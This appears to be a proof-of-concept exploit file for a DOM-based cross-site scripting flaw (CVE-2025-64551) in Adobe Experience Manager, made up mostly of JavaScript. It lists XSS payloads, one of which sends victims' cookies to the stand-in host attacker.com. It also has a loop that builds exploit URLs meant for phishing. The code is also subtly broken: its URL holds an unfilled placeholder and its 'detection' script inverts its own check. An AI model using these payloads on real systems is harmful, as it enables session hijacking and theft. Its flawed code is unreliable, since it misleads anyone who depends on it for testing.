CVE-2025-64551 Adobe Experience Manager DOM型XSS漏洞

// CVE-2025-64551 DOM-based XSS PoC for Adobe Experience Manager // This PoC demonstrates how an attacker could exploit the DOM XSS vulnerability // Attack scenario: Crafted URL with malicious payload in URL parameter // The vulnerable endpoint might reflect user input without proper sanitization const vulnerableUrl = 'https://vulnerable-aem-server/editor.html{content_path}?param=<img src=x onerror=alert(document.cookie)>'; // Alternative payload using different injection points const payloads = [ '?q=<script>alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,54,52,53,53,49))</script>', '?search=<img src=x onerror=fetch(`https://attacker.com/steal?c=`+document.cookie)>', '?fragment=<svg/onload=fetch(`/contentdam?exploit=`+btoa(document.domain))>', '?callback=javascript:alert(document.domain)//' ]; // Automated exploitation example async function exploitAEM() { const target = 'https://vulnerable-aem-instance/libs/granite/core/content/login.html'; for (const payload of payloads) { const exploitUrl = target + payload; console.log(`[*] Testing payload: ${exploitUrl}`); // In real attack, this would be sent to victim via phishing // The victim clicking this link would trigger the XSS } } // Detection payload for security testing const detectionScript = ` // Check if vulnerable to CVE-2025-64551 const testParam = '<img src=x onerror=console.log("VULN")>'; const originalHTML = document.body.innerHTML; document.body.innerHTML += testParam; if (document.querySelector('img[src="x"]') === null) { console.log("Possible XSS vulnerability detected"); } document.body.innerHTML = originalHTML; `; export { vulnerableUrl, payloads, exploitAEM, detectionScript };